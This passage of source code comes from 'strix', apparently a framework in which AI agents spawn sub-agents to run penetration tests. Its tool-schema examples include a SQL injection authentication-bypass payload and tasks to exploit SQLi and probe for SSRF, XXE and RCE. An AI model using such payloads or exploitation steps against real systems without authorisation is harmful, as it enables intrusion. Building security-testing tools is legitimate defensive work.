    "content": "from .agents_graph import *  # noqa: F403\nfrom .browser import *  # noqa: F403\nfrom .executor import (\n    execute_tool,\n    execute_tool_invocation,\n    execute_tool_with_validation,\n    extract_screenshot_from_result,\n    process_tool_invocations,\n    remove_screenshot_from_result,\n    validate_tool_availability,\n)\nfrom .file_edit import *  # noqa: F403\nfrom .finish import *  # noqa: F403\nfrom .load_skill import *  # noqa: F403\nfrom .notes import *  # noqa: F403\nfrom .proxy import *  # noqa: F403\nfrom .python import *  # noqa: F403\nfrom .registry import (\n    ImplementedInClientSideOnlyError,\n    get_tool_by_name,\n    get_tool_names,\n    get_tools_prompt,\n    needs_agent_state,\n    register_tool,\n    tools,\n)\nfrom .reporting import *  # noqa: F403\nfrom .terminal import *  # noqa: F403\nfrom .thinking import *  # noqa: F403\nfrom .todo import *  # noqa: F403\nfrom .web_search import *  # noqa: F403\n\n\n__all__ = [\n    \"ImplementedInClientSideOnlyError\",\n    \"execute_tool\",\n    \"execute_tool_invocation\",\n    \"execute_tool_with_validation\",\n    \"extract_screenshot_from_result\",\n    \"get_tool_by_name\",\n    \"get_tool_names\",\n    \"get_tools_prompt\",\n    \"needs_agent_state\",\n    \"process_tool_invocations\",\n    \"register_tool\",\n    \"remove_screenshot_from_result\",\n    \"tools\",\n    \"validate_tool_availability\",\n]\n"
  },
  {
    "path": "strix/tools/agents_graph/__init__.py",
    "content": "from .agents_graph_actions import (\n    agent_finish,\n    create_agent,\n    send_message_to_agent,\n    view_agent_graph,\n    wait_for_message,\n)\n\n\n__all__ = [\n    \"agent_finish\",\n    \"create_agent\",\n    \"send_message_to_agent\",\n    \"view_agent_graph\",\n    \"wait_for_message\",\n]\n"
  },
  {
    "path": "strix/tools/agents_graph/agents_graph_actions.py",
    "content": "import threading\nfrom datetime import UTC, datetime\nfrom typing import Any, Literal\n\nfrom strix.tools.registry import register_tool\n\n\n_agent_graph: dict[str, Any] = {\n    \"nodes\": {},\n    \"edges\": [],\n}\n\n_root_agent_id: str | None = None\n\n_agent_messages: dict[str, list[dict[str, Any]]] = {}\n\n_running_agents: dict[str, threading.Thread] = {}\n\n_agent_instances: dict[str, Any] = {}\n\n_agent_states: dict[str, Any] = {}\n\n\ndef _run_agent_in_thread(\n    agent: Any, state: Any, inherited_messages: list[dict[str, Any]]\n) -> dict[str, Any]:\n    try:\n        if inherited_messages:\n            state.add_message(\"user\", \"<inherited_context_from_parent>\")\n            for msg in inherited_messages:\n                state.add_message(msg[\"role\"], msg[\"content\"])\n            state.add_message(\"user\", \"</inherited_context_from_parent>\")\n\n        parent_info = _agent_graph[\"nodes\"].get(state.parent_id, {})\n        parent_name = parent_info.get(\"name\", \"Unknown Parent\")\n\n        context_status = (\n            \"inherited conversation context from your parent for background understanding\"\n            if inherited_messages\n            else \"started with a fresh context\"\n        )\n\n        task_xml = f\"\"\"<agent_delegation>\n    <identity>\n        ⚠️ You are NOT your parent agent. You are a NEW, SEPARATE sub-agent (not root).\n\n        Your Info: {state.agent_name} ({state.agent_id})\n        Parent Info: {parent_name} ({state.parent_id})\n    </identity>\n\n    <your_task>{state.task}</your_task>\n\n    <instructions>\n        - You have {context_status}\n        - Inherited context is for BACKGROUND ONLY - don't continue parent's work\n        - Maintain strict self-identity: never speak as or for your parent\n        - Do not merge your conversation with the parent's;\n        - Do not claim parent's actions or messages as your own\n        - Focus EXCLUSIVELY on your delegated task above\n        - Work independently with your own approach\n        - Use agent_finish when complete to report back to parent\n        - You are a SPECIALIST for this specific task\n        - You share the same container as other agents but have your own tool server instance\n        - All agents share /workspace directory and proxy history for better collaboration\n        - You can see files created by other agents and proxy traffic from previous work\n        - Build upon previous work but focus on your specific delegated task\n    </instructions>\n</agent_delegation>\"\"\"\n\n        state.add_message(\"user\", task_xml)\n\n        _agent_states[state.agent_id] = state\n\n        _agent_graph[\"nodes\"][state.agent_id][\"state\"] = state.model_dump()\n\n        import asyncio\n\n        loop = asyncio.new_event_loop()\n        asyncio.set_event_loop(loop)\n        try:\n            result = loop.run_until_complete(agent.agent_loop(state.task))\n        finally:\n            loop.close()\n\n    except Exception as e:\n        _agent_graph[\"nodes\"][state.agent_id][\"status\"] = \"error\"\n        _agent_graph[\"nodes\"][state.agent_id][\"finished_at\"] = datetime.now(UTC).isoformat()\n        _agent_graph[\"nodes\"][state.agent_id][\"result\"] = {\"error\": str(e)}\n        _running_agents.pop(state.agent_id, None)\n        _agent_instances.pop(state.agent_id, None)\n        raise\n    else:\n        if state.stop_requested:\n            _agent_graph[\"nodes\"][state.agent_id][\"status\"] = \"stopped\"\n        else:\n            _agent_graph[\"nodes\"][state.agent_id][\"status\"] = \"completed\"\n        _agent_graph[\"nodes\"][state.agent_id][\"finished_at\"] = datetime.now(UTC).isoformat()\n        _agent_graph[\"nodes\"][state.agent_id][\"result\"] = result\n        _running_agents.pop(state.agent_id, None)\n        _agent_instances.pop(state.agent_id, None)\n\n        return {\"result\": result}\n\n\n@register_tool(sandbox_execution=False)\ndef view_agent_graph(agent_state: Any) -> dict[str, Any]:\n    try:\n        structure_lines = [\"=== AGENT GRAPH STRUCTURE ===\"]\n\n        def _build_tree(agent_id: str, depth: int = 0) -> None:\n            node = _agent_graph[\"nodes\"][agent_id]\n            indent = \"  \" * depth\n\n            you_indicator = \" ← This is you\" if agent_id == agent_state.agent_id else \"\"\n\n            structure_lines.append(f\"{indent}* {node['name']} ({agent_id}){you_indicator}\")\n            structure_lines.append(f\"{indent}  Task: {node['task']}\")\n            structure_lines.append(f\"{indent}  Status: {node['status']}\")\n\n            children = [\n                edge[\"to\"]\n                for edge in _agent_graph[\"edges\"]\n                if edge[\"from\"] == agent_id and edge[\"type\"] == \"delegation\"\n            ]\n\n            if children:\n                structure_lines.append(f\"{indent}   Children:\")\n                for child_id in children:\n                    _build_tree(child_id, depth + 2)\n\n        root_agent_id = _root_agent_id\n        if not root_agent_id and _agent_graph[\"nodes\"]:\n            for agent_id, node in _agent_graph[\"nodes\"].items():\n                if node.get(\"parent_id\") is None:\n                    root_agent_id = agent_id\n                    break\n            if not root_agent_id:\n                root_agent_id = next(iter(_agent_graph[\"nodes\"].keys()))\n\n        if root_agent_id and root_agent_id in _agent_graph[\"nodes\"]:\n            _build_tree(root_agent_id)\n        else:\n            structure_lines.append(\"No agents in the graph yet\")\n\n        graph_structure = \"\\n\".join(structure_lines)\n\n        total_nodes = len(_agent_graph[\"nodes\"])\n        running_count = sum(\n            1 for node in _agent_graph[\"nodes\"].values() if node[\"status\"] == \"running\"\n        )\n        waiting_count = sum(\n            1 for node in _agent_graph[\"nodes\"].values() if node[\"status\"] == \"waiting\"\n        )\n        stopping_count = sum(\n            1 for node in _agent_graph[\"nodes\"].values() if node[\"status\"] == \"stopping\"\n        )\n        completed_count = sum(\n            1 for node in _agent_graph[\"nodes\"].values() if node[\"status\"] == \"completed\"\n        )\n        stopped_count = sum(\n            1 for node in _agent_graph[\"nodes\"].values() if node[\"status\"] == \"stopped\"\n        )\n        failed_count = sum(\n            1 for node in _agent_graph[\"nodes\"].values() if node[\"status\"] in [\"failed\", \"error\"]\n        )\n\n    except Exception as e:  # noqa: BLE001\n        return {\n            \"error\": f\"Failed to view agent graph: {e}\",\n            \"graph_structure\": \"Error retrieving graph structure\",\n        }\n    else:\n        return {\n            \"graph_structure\": graph_structure,\n            \"summary\": {\n                \"total_agents\": total_nodes,\n                \"running\": running_count,\n                \"waiting\": waiting_count,\n                \"stopping\": stopping_count,\n                \"completed\": completed_count,\n                \"stopped\": stopped_count,\n                \"failed\": failed_count,\n            },\n        }\n\n\n@register_tool(sandbox_execution=False)\ndef create_agent(\n    agent_state: Any,\n    task: str,\n    name: str,\n    inherit_context: bool = True,\n    skills: str | None = None,\n) -> dict[str, Any]:\n    try:\n        parent_id = agent_state.agent_id\n\n        from strix.skills import parse_skill_list, validate_requested_skills\n\n        skill_list = parse_skill_list(skills)\n        validation_error = validate_requested_skills(skill_list)\n        if validation_error:\n            return {\n                \"success\": False,\n                \"error\": validation_error,\n                \"agent_id\": None,\n            }\n\n        from strix.agents import StrixAgent\n        from strix.agents.state import AgentState\n        from strix.llm.config import LLMConfig\n\n        parent_agent = _agent_instances.get(parent_id)\n\n        timeout = None\n        scan_mode = \"deep\"\n        interactive = False\n        if parent_agent and hasattr(parent_agent, \"llm_config\"):\n            if hasattr(parent_agent.llm_config, \"timeout\"):\n                timeout = parent_agent.llm_config.timeout\n            if hasattr(parent_agent.llm_config, \"scan_mode\"):\n                scan_mode = parent_agent.llm_config.scan_mode\n            interactive = getattr(parent_agent.llm_config, \"interactive\", False)\n\n        state = AgentState(\n            task=task,\n            agent_name=name,\n            parent_id=parent_id,\n            max_iterations=300,\n            waiting_timeout=300 if interactive else 600,\n        )\n\n        llm_config = LLMConfig(\n            skills=skill_list,\n            timeout=timeout,\n            scan_mode=scan_mode,\n            interactive=interactive,\n        )\n\n        agent_config = {\n            \"llm_config\": llm_config,\n            \"state\": state,\n        }\n\n        agent = StrixAgent(agent_config)\n\n        inherited_messages = []\n        if inherit_context:\n            inherited_messages = agent_state.get_conversation_history()\n\n        _agent_instances[state.agent_id] = agent\n\n        thread = threading.Thread(\n            target=_run_agent_in_thread,\n            args=(agent, state, inherited_messages),\n            daemon=True,\n            name=f\"Agent-{name}-{state.agent_id}\",\n        )\n        thread.start()\n        _running_agents[state.agent_id] = thread\n\n    except Exception as e:  # noqa: BLE001\n        return {\"success\": False, \"error\": f\"Failed to create agent: {e}\", \"agent_id\": None}\n    else:\n        return {\n            \"success\": True,\n            \"agent_id\": state.agent_id,\n            \"message\": f\"Agent '{name}' created and started asynchronously\",\n            \"agent_info\": {\n                \"id\": state.agent_id,\n                \"name\": name,\n                \"status\": \"running\",\n                \"parent_id\": parent_id,\n            },\n        }\n\n\n@register_tool(sandbox_execution=False)\ndef send_message_to_agent(\n    agent_state: Any,\n    target_agent_id: str,\n    message: str,\n    message_type: Literal[\"query\", \"instruction\", \"information\"] = \"information\",\n    priority: Literal[\"low\", \"normal\", \"high\", \"urgent\"] = \"normal\",\n) -> dict[str, Any]:\n    try:\n        if target_agent_id not in _agent_graph[\"nodes\"]:\n            return {\n                \"success\": False,\n                \"error\": f\"Target agent '{target_agent_id}' not found in graph\",\n                \"message_id\": None,\n            }\n\n        sender_id = agent_state.agent_id\n\n        from uuid import uuid4\n\n        message_id = f\"msg_{uuid4().hex[:8]}\"\n        message_data = {\n            \"id\": message_id,\n            \"from\": sender_id,\n            \"to\": target_agent_id,\n            \"content\": message,\n            \"message_type\": message_type,\n            \"priority\": priority,\n            \"timestamp\": datetime.now(UTC).isoformat(),\n            \"delivered\": False,\n            \"read\": False,\n        }\n\n        if target_agent_id not in _agent_messages:\n            _agent_messages[target_agent_id] = []\n\n        _agent_messages[target_agent_id].append(message_data)\n\n        _agent_graph[\"edges\"].append(\n            {\n                \"from\": sender_id,\n                \"to\": target_agent_id,\n                \"type\": \"message\",\n                \"message_id\": message_id,\n                \"message_type\": message_type,\n                \"priority\": priority,\n                \"created_at\": datetime.now(UTC).isoformat(),\n            }\n        )\n\n        message_data[\"delivered\"] = True\n\n        target_name = _agent_graph[\"nodes\"][target_agent_id][\"name\"]\n        sender_name = _agent_graph[\"nodes\"][sender_id][\"name\"]\n\n        return {\n            \"success\": True,\n            \"message_id\": message_id,\n            \"message\": f\"Message sent from '{sender_name}' to '{target_name}'\",\n            \"delivery_status\": \"delivered\",\n            \"target_agent\": {\n                \"id\": target_agent_id,\n                \"name\": target_name,\n                \"status\": _agent_graph[\"nodes\"][target_agent_id][\"status\"],\n            },\n        }\n\n    except Exception as e:  # noqa: BLE001\n        return {\"success\": False, \"error\": f\"Failed to send message: {e}\", \"message_id\": None}\n\n\n@register_tool(sandbox_execution=False)\ndef agent_finish(\n    agent_state: Any,\n    result_summary: str,\n    findings: list[str] | None = None,\n    success: bool = True,\n    report_to_parent: bool = True,\n    final_recommendations: list[str] | None = None,\n) -> dict[str, Any]:\n    try:\n        if not hasattr(agent_state, \"parent_id\") or agent_state.parent_id is None:\n            return {\n                \"agent_completed\": False,\n                \"error\": (\n                    \"This tool can only be used by subagents. \"\n                    \"Root/main agents must use finish_scan instead.\"\n                ),\n                \"parent_notified\": False,\n            }\n\n        agent_id = agent_state.agent_id\n\n        if agent_id not in _agent_graph[\"nodes\"]:\n            return {\"agent_completed\": False, \"error\": \"Current agent not found in graph\"}\n\n        agent_node = _agent_graph[\"nodes\"][agent_id]\n\n        agent_node[\"status\"] = \"finished\" if success else \"failed\"\n        agent_node[\"finished_at\"] = datetime.now(UTC).isoformat()\n        agent_node[\"result\"] = {\n            \"summary\": result_summary,\n            \"findings\": findings or [],\n            \"success\": success,\n            \"recommendations\": final_recommendations or [],\n        }\n\n        parent_notified = False\n\n        if report_to_parent and agent_node[\"parent_id\"]:\n            parent_id = agent_node[\"parent_id\"]\n\n            if parent_id in _agent_graph[\"nodes\"]:\n                findings_xml = \"\\n\".join(\n                    f\"        <finding>{finding}</finding>\" for finding in (findings or [])\n                )\n                recommendations_xml = \"\\n\".join(\n                    f\"        <recommendation>{rec}</recommendation>\"\n                    for rec in (final_recommendations or [])\n                )\n\n                report_message = f\"\"\"<agent_completion_report>\n    <agent_info>\n        <agent_name>{agent_node[\"name\"]}</agent_name>\n        <agent_id>{agent_id}</agent_id>\n        <task>{agent_node[\"task\"]}</task>\n        <status>{\"SUCCESS\" if success else \"FAILED\"}</status>\n        <completion_time>{agent_node[\"finished_at\"]}</completion_time>\n    </agent_info>\n    <results>\n        <summary>{result_summary}</summary>\n        <findings>\n{findings_xml}\n        </findings>\n        <recommendations>\n{recommendations_xml}\n        </recommendations>\n    </results>\n</agent_completion_report>\"\"\"\n\n                if parent_id not in _agent_messages:\n                    _agent_messages[parent_id] = []\n\n                from uuid import uuid4\n\n                _agent_messages[parent_id].append(\n                    {\n                        \"id\": f\"report_{uuid4().hex[:8]}\",\n                        \"from\": agent_id,\n                        \"to\": parent_id,\n                        \"content\": report_message,\n                        \"message_type\": \"information\",\n                        \"priority\": \"high\",\n                        \"timestamp\": datetime.now(UTC).isoformat(),\n                        \"delivered\": True,\n                        \"read\": False,\n                    }\n                )\n\n                parent_notified = True\n\n        _running_agents.pop(agent_id, None)\n\n        return {\n            \"agent_completed\": True,\n            \"parent_notified\": parent_notified,\n            \"completion_summary\": {\n                \"agent_id\": agent_id,\n                \"agent_name\": agent_node[\"name\"],\n                \"task\": agent_node[\"task\"],\n                \"success\": success,\n                \"findings_count\": len(findings or []),\n                \"has_recommendations\": bool(final_recommendations),\n                \"finished_at\": agent_node[\"finished_at\"],\n            },\n        }\n\n    except Exception as e:  # noqa: BLE001\n        return {\n            \"agent_completed\": False,\n            \"error\": f\"Failed to complete agent: {e}\",\n            \"parent_notified\": False,\n        }\n\n\ndef stop_agent(agent_id: str) -> dict[str, Any]:\n    try:\n        if agent_id not in _agent_graph[\"nodes\"]:\n            return {\n                \"success\": False,\n                \"error\": f\"Agent '{agent_id}' not found in graph\",\n                \"agent_id\": agent_id,\n            }\n\n        agent_node = _agent_graph[\"nodes\"][agent_id]\n\n        if agent_node[\"status\"] in [\"completed\", \"error\", \"failed\", \"stopped\"]:\n            return {\n                \"success\": True,\n                \"message\": f\"Agent '{agent_node['name']}' was already stopped\",\n                \"agent_id\": agent_id,\n                \"previous_status\": agent_node[\"status\"],\n            }\n\n        if agent_id in _agent_states:\n            agent_state = _agent_states[agent_id]\n            agent_state.request_stop()\n\n        if agent_id in _agent_instances:\n            agent_instance = _agent_instances[agent_id]\n            if hasattr(agent_instance, \"state\"):\n                agent_instance.state.request_stop()\n            if hasattr(agent_instance, \"cancel_current_execution\"):\n                agent_instance.cancel_current_execution()\n\n        agent_node[\"status\"] = \"stopping\"\n\n        try:\n            from strix.telemetry.tracer import get_global_tracer\n\n            tracer = get_global_tracer()\n            if tracer:\n                tracer.update_agent_status(agent_id, \"stopping\")\n        except (ImportError, AttributeError):\n            pass\n\n        agent_node[\"result\"] = {\n            \"summary\": \"Agent stop requested by user\",\n            \"success\": False,\n            \"stopped_by_user\": True,\n        }\n\n        return {\n            \"success\": True,\n            \"message\": f\"Stop request sent to agent '{agent_node['name']}'\",\n            \"agent_id\": agent_id,\n            \"agent_name\": agent_node[\"name\"],\n            \"note\": \"Agent will stop gracefully after current iteration\",\n        }\n\n    except Exception as e:  # noqa: BLE001\n        return {\n            \"success\": False,\n            \"error\": f\"Failed to stop agent: {e}\",\n            \"agent_id\": agent_id,\n        }\n\n\ndef send_user_message_to_agent(agent_id: str, message: str) -> dict[str, Any]:\n    try:\n        if agent_id not in _agent_graph[\"nodes\"]:\n            return {\n                \"success\": False,\n                \"error\": f\"Agent '{agent_id}' not found in graph\",\n                \"agent_id\": agent_id,\n            }\n\n        agent_node = _agent_graph[\"nodes\"][agent_id]\n\n        if agent_id not in _agent_messages:\n            _agent_messages[agent_id] = []\n\n        from uuid import uuid4\n\n        message_data = {\n            \"id\": f\"user_msg_{uuid4().hex[:8]}\",\n            \"from\": \"user\",\n            \"to\": agent_id,\n            \"content\": message,\n            \"message_type\": \"instruction\",\n            \"priority\": \"high\",\n            \"timestamp\": datetime.now(UTC).isoformat(),\n            \"delivered\": True,\n            \"read\": False,\n        }\n\n        _agent_messages[agent_id].append(message_data)\n\n        return {\n            \"success\": True,\n            \"message\": f\"Message sent to agent '{agent_node['name']}'\",\n            \"agent_id\": agent_id,\n            \"agent_name\": agent_node[\"name\"],\n        }\n\n    except Exception as e:  # noqa: BLE001\n        return {\n            \"success\": False,\n            \"error\": f\"Failed to send message to agent: {e}\",\n            \"agent_id\": agent_id,\n        }\n\n\n@register_tool(sandbox_execution=False)\ndef wait_for_message(\n    agent_state: Any,\n    reason: str = \"Waiting for messages from other agents\",\n) -> dict[str, Any]:\n    try:\n        agent_id = agent_state.agent_id\n        agent_name = agent_state.agent_name\n\n        agent_state.enter_waiting_state()\n\n        if agent_id in _agent_graph[\"nodes\"]:\n            _agent_graph[\"nodes\"][agent_id][\"status\"] = \"waiting\"\n            _agent_graph[\"nodes\"][agent_id][\"waiting_reason\"] = reason\n\n        try:\n            from strix.telemetry.tracer import get_global_tracer\n\n            tracer = get_global_tracer()\n            if tracer:\n                tracer.update_agent_status(agent_id, \"waiting\")\n        except (ImportError, AttributeError):\n            pass\n\n    except Exception as e:  # noqa: BLE001\n        return {\"success\": False, \"error\": f\"Failed to enter waiting state: {e}\", \"status\": \"error\"}\n    else:\n        return {\n            \"success\": True,\n            \"status\": \"waiting\",\n            \"message\": f\"Agent '{agent_name}' is now waiting for messages\",\n            \"reason\": reason,\n            \"agent_info\": {\n                \"id\": agent_id,\n                \"name\": agent_name,\n                \"status\": \"waiting\",\n            },\n            \"resume_conditions\": [\n                \"Message from another agent\",\n                \"Message from user\",\n                \"Direct communication\",\n                \"Waiting timeout reached\",\n            ],\n        }\n"
  },
  {
    "path": "strix/tools/agents_graph/agents_graph_actions_schema.xml",
    "content": "<tools>\n  <tool name=\"agent_finish\">\n    <description>Mark a subagent's task as completed and optionally report results to parent agent.\n\nIMPORTANT: This tool can ONLY be used by subagents (agents with a parent).\nRoot/main agents must use finish_scan instead.\n\nThis tool should be called when a subagent completes its assigned subtask to:\n- Mark the subagent's task as completed\n- Report findings back to the parent agent\n\nUse this tool when:\n- You are a subagent working on a specific subtask\n- You have completed your assigned task\n- You want to report your findings to the parent agent\n- You are ready to terminate this subagent's execution</description>\n    <details>This replaces the previous finish_scan tool and handles both sub-agent completion\n  and main agent completion. When a sub-agent finishes, it can report its findings\n  back to the parent agent for coordination.</details>\n    <parameters>\n      <parameter name=\"result_summary\" type=\"string\" required=\"true\">\n        <description>Summary of what the agent accomplished and discovered</description>\n      </parameter>\n      <parameter name=\"findings\" type=\"string\" required=\"false\">\n        <description>List of specific findings, vulnerabilities, or discoveries</description>\n      </parameter>\n      <parameter name=\"success\" type=\"boolean\" required=\"false\">\n        <description>Whether the agent's task completed successfully</description>\n      </parameter>\n      <parameter name=\"report_to_parent\" type=\"boolean\" required=\"false\">\n        <description>Whether to send results back to the parent agent</description>\n      </parameter>\n      <parameter name=\"final_recommendations\" type=\"string\" required=\"false\">\n        <description>Recommendations for next steps or follow-up actions</description>\n      </parameter>\n    </parameters>\n    <returns type=\"Dict[str, Any]\">\n      <description>Response containing: - agent_completed: Whether the agent was marked as completed - parent_notified: Whether parent was notified (if applicable) - completion_summary: Summary of completion status</description>\n    </returns>\n    <examples>\n  # Sub-agent completing subdomain enumeration task\n  <function=agent_finish>\n  <parameter=result_summary>Completed comprehensive subdomain enumeration for target.com.\n              Discovered 47 subdomains including several interesting ones with admin/dev\n              in the name. Found 3 subdomains with exposed services on non-standard\n              ports.</parameter>\n  <parameter=findings>[\"admin.target.com - exposed phpMyAdmin\",\n                \"dev-api.target.com - unauth API endpoints\",\n                \"staging.target.com - directory listing enabled\",\n                \"mail.target.com - POP3/IMAP services\"]</parameter>\n  <parameter=success>true</parameter>\n  <parameter=report_to_parent>true</parameter>\n  <parameter=final_recommendations>[\"Prioritize testing admin.target.com for default creds\",\n                             \"Enumerate dev-api.target.com API endpoints\",\n                             \"Check staging.target.com for sensitive files\"]</parameter>\n  </function>\n    </examples>\n  </tool>\n  <tool name=\"create_agent\">\n    <description>Create and spawn a new agent to handle a specific subtask.\n\nOnly create a new agent if no existing agent is handling the specific task.</description>\n    <details>The new agent inherits the parent's conversation history and context up to the point\n  of creation, then continues with its assigned subtask. This enables decomposition\n  of complex penetration testing tasks into specialized sub-agents.\n\n  The agent runs asynchronously and independently, allowing the parent to continue\n  immediately while the new agent executes its task in the background.\n\n  If you as a parent agent don't absolutely have anything to do while your subagents are running, you can use wait_for_message tool. The subagent will continue to run in the background, and update you when it's done.\n  </details>\n    <parameters>\n      <parameter name=\"task\" type=\"string\" required=\"true\">\n        <description>The specific task/objective for the new agent to accomplish</description>\n      </parameter>\n      <parameter name=\"name\" type=\"string\" required=\"true\">\n        <description>Human-readable name for the agent (for tracking purposes)</description>\n      </parameter>\n      <parameter name=\"inherit_context\" type=\"boolean\" required=\"false\">\n        <description>Whether the new agent should inherit parent's conversation history and context</description>\n      </parameter>\n      <parameter name=\"skills\" type=\"string\" required=\"false\">\n        <description>Comma-separated list of skills to use for the agent (MAXIMUM 5 skills allowed). Most agents should have at least one skill in order to be useful. Agents should be highly specialized - use 1-3 related skills; up to 5 for complex contexts. {{DYNAMIC_SKILLS_DESCRIPTION}}</description>\n      </parameter>\n    </parameters>\n    <returns type=\"Dict[str, Any]\">\n      <description>Response containing: - agent_id: Unique identifier for the created agent - success: Whether the agent was created successfully - message: Status message - agent_info: Details about the created agent</description>\n    </returns>\n    <examples>\n  # After confirming no SQL testing agent exists, create agent for vulnerability validation\n  <function=create_agent>\n  <parameter=task>Validate and exploit the suspected SQL injection vulnerability found in\n              the login form. Confirm exploitability and document proof of concept.</parameter>\n  <parameter=name>SQLi Validator</parameter>\n  <parameter=skills>sql_injection</parameter>\n  </function>\n\n  <function=create_agent>\n  <parameter=task>Test authentication mechanisms, JWT implementation, and session management\n              for security vulnerabilities and bypass techniques.</parameter>\n  <parameter=name>Auth Specialist</parameter>\n  <parameter=skills>authentication_jwt, business_logic</parameter>\n  </function>\n\n  # Example of single-skill specialization (most focused)\n  <function=create_agent>\n  <parameter=task>Perform comprehensive XSS testing including reflected, stored, and DOM-based\n              variants across all identified input points.</parameter>\n  <parameter=name>XSS Specialist</parameter>\n  <parameter=skills>xss</parameter>\n  </function>\n\n  # Example of up to 5 related skills (borderline acceptable)\n  <function=create_agent>\n  <parameter=task>Test for server-side vulnerabilities including SSRF, XXE, and potential\n              RCE vectors in file upload and XML processing endpoints.</parameter>\n  <parameter=name>Server-Side Attack Specialist</parameter>\n  <parameter=skills>ssrf, xxe, rce</parameter>\n  </function>\n    </examples>\n  </tool>\n  <tool name=\"send_message_to_agent\">\n    <description>Send a message to another agent in the graph for coordination and communication.</description>\n    <details>This enables agents to communicate with each other during execution, but should be used only when essential:\n  - Sharing discovered information or findings\n  - Asking questions or requesting assistance\n  - Providing instructions or coordination\n  - Reporting status or results\n\nBest practices:\n- Avoid routine status updates; batch non-urgent information\n- Prefer parent/child completion flows (agent_finish)\n- Do not message when the context is already known</details>\n    <parameters>\n      <parameter name=\"target_agent_id\" type=\"string\" required=\"true\">\n        <description>ID of the agent to send the message to</description>\n      </parameter>\n      <parameter name=\"message\" type=\"string\" required=\"true\">\n        <description>The message content to send</description>\n      </parameter>\n      <parameter name=\"message_type\" type=\"string\" required=\"false\">\n        <description>Type of message being sent: - \"query\": Question requiring a response - \"instruction\": Command or directive for the target agent - \"information\": Informational message (findings, status, etc.)</description>\n      </parameter>\n      <parameter name=\"priority\" type=\"string\" required=\"false\">\n        <description>Priority level of the message</description>\n      </parameter>\n    </parameters>\n    <returns type=\"Dict[str, Any]\">\n      <description>Response containing: - success: Whether the message was sent successfully - message_id: Unique identifier for the message - delivery_status: Status of message delivery</description>\n    </returns>\n    <examples>\n  # Share discovered vulnerability information\n  <function=send_message_to_agent>\n  <parameter=target_agent_id>agent_abc123</parameter>\n  <parameter=message>Found SQL injection vulnerability in /login.php parameter 'username'.\n              Payload: admin' OR '1'='1' -- successfully bypassed authentication.\n              You should focus your testing on the authenticated areas of the\n              application.</parameter>\n  <parameter=message_type>information</parameter>\n  <parameter=priority>high</parameter>\n  </function>\n\n  # Request assistance from specialist agent\n  <function=send_message_to_agent>\n  <parameter=target_agent_id>agent_def456</parameter>\n  <parameter=message>I've identified what appears to be a custom encryption implementation\n              in the API responses. Can you analyze the cryptographic strength and look\n              for potential weaknesses?</parameter>\n  <parameter=message_type>query</parameter>\n  <parameter=priority>normal</parameter>\n  </function>\n    </examples>\n  </tool>\n  <tool name=\"view_agent_graph\">\n    <description>View the current agent graph showing all agents, their relationships, and status.</description>\n    <details>This provides a comprehensive overview of the multi-agent system including:\n  - All agent nodes with their tasks, status, and metadata\n  - Parent-child relationships between agents\n  - Message communication patterns\n  - Current execution state</details>\n    <returns type=\"Dict[str, Any]\">\n      <description>Response containing: - graph_structure: Human-readable representation of the agent graph - summary: High-level statistics about the graph</description>\n    </returns>\n  </tool>\n  <tool name=\"wait_for_message\">\n    <description>Pause the agent loop indefinitely until receiving a message from another agent.\n\nThis tool puts the agent into a waiting state where it remains idle until it receives any form of communication. The agent will automatically resume execution when a message arrives.\n\nIMPORTANT: This tool causes the agent to stop all activity until a message is received. Use it when you need to:\n- Wait for subagent completion reports\n- Coordinate with other agents before proceeding\n- Synchronize multi-agent workflows\n\nNOTE: If you are waiting for an agent that is NOT your subagent, you first tell it to message you with updates before waiting for it. Otherwise, you will wait forever!\n</description>\n    <details>When this tool is called, the agent (you) enters a waiting state and will not continue execution until:\n  - Another agent sends a message via send_message_to_agent\n  - Any other form of inter-agent communication occurs\n  - Waiting timeout is reached\n\n  The agent will automatically resume from where it left off once a message is received.\n  This is particularly useful for parent agents waiting for subagent results or for coordination points in multi-agent workflows.\n  NOTE: If you finished your task, and you do NOT have any child agents running, you should NEVER use this tool, and just call finish tool instead.\n  </details>\n    <parameters>\n      <parameter name=\"reason\" type=\"string\" required=\"false\">\n        <description>Explanation for why the agent is waiting (for logging and monitoring purposes)</description>\n      </parameter>\n    </parameters>\n    <returns type=\"Dict[str, Any]\">\n      <description>Response containing: - success: Whether the agent successfully entered waiting state - status: Current agent status (\"waiting\") - reason: The reason for waiting - agent_info: Details about the waiting agent - resume_conditions: List of conditions that will resume the agent</description>\n    </returns>\n    <examples>\n  # Wait for subagents to complete their tasks\n  <function=wait_for_message>\n  <parameter=reason>Waiting for subdomain enumeration and port scanning subagents to complete their tasks and report findings</parameter>\n  </function>\n\n  # Coordinate with other agents\n  <function=wait_for_message>\n  <parameter=reason>Waiting for vulnerability assessment agent to share discovered attack vectors before proceeding with exploitation phase</parameter>\n  </function>\n    </examples>\n  </tool>\n</tools>\n"
  },
  {
    "path": "strix/tools/argument_parser.py",
    "content": "import contextlib\nimport inspect\nimport json\nimport types\nfrom collections.abc import Callable\nfrom typing import Any, Union, get_args, get_origin\n\n\nclass ArgumentConversionError(Exception):\n    def __init__(self, message: str, param_name: str | None = None) -> None:\n        self.param_name = param_name\n        super().__init__(message)\n\n\ndef convert_arguments(func: Callable[..., Any], kwargs: dict[str, Any]) -> dict[str, Any]:\n    try:\n        sig = inspect.signature(func)\n        converted = {}\n\n        for param_name, value in kwargs.items():\n            if param_name not in sig.parameters:\n                converted[param_name] = value\n                continue\n\n            param = sig.parameters[param_name]\n            param_type = param.annotation\n\n            if param_type == inspect.Parameter.empty or value is None:\n                converted[param_name] = value\n                continue\n\n            if not isinstance(value, str):\n                converted[param_name] = value\n                continue\n\n            try:\n                converted[param_name] = convert_string_to_type(value, param_type)\n            except (ValueError, TypeError, json.JSONDecodeError) as e:\n                raise ArgumentConversionError(\n                    f\"Failed to convert argument '{param_name}' to type {param_type}: {e}\",\n                    param_name=param_name,\n                ) from e\n\n    except (ValueError, TypeError, AttributeError) as e:\n        raise ArgumentConversionError(f\"Failed to process function arguments: {e}\") from e\n\n    return converted\n\n\ndef convert_string_to_type(value: str, param_type: Any) -> Any:\n    origin = get_origin(param_type)\n    if origin is Union or isinstance(param_type, types.UnionType):\n        args = get_args(param_type)\n        for arg_type in args:\n            if arg_type is not type(None):\n                with contextlib.suppress(ValueError, TypeError, json.JSONDecodeError):\n                    return convert_string_to_type(value, arg_type)\n        return value\n\n    if hasattr(param_type, \"__args__\"):\n        args = getattr(param_type, \"__args__\", ())\n        if len(args) == 2 and type(None) in args:\n            non_none_type = args[0] if args[1] is type(None) else args[1]\n            with contextlib.suppress(ValueError, TypeError, json.JSONDecodeError):\n                return convert_string_to_type(value, non_none_type)\n            return value\n\n    return 